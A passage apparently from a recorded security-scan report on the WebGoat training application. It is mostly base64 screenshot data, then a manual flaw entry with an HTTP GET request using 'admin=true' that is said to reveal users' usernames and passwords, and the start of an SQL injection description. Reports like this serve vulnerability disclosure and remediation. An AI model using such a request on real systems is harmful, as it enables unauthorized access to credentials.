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</data>\n</screenshot>\n<code>The
+        following GET request will display the username and password for users within
+        the application.\n\nGET /WebGoat/attack?Screen=1073550134&amp;menu=2000&amp;admin=true
+        HTTP/1.1\nHost: targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
+        rv:9.0.1) Gecko/20100101 Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nCookie: JSESSIONID=13984BA559044E0A4610D4AC31B06B27\n</code></appendix></flaw></manualflaws></cwe></category></severity><severity
+        level=\"4\"><category categoryid=\"19\" categoryname=\"SQL Injection\" pcirelated=\"false\"><desc><para
+        text=\"SQL injection vulnerabilities occur when data enters an application
+        from an untrusted source and is used to dynamically construct a SQL query.
+        \ This allows an attacker to manipulate database queries in order to access,
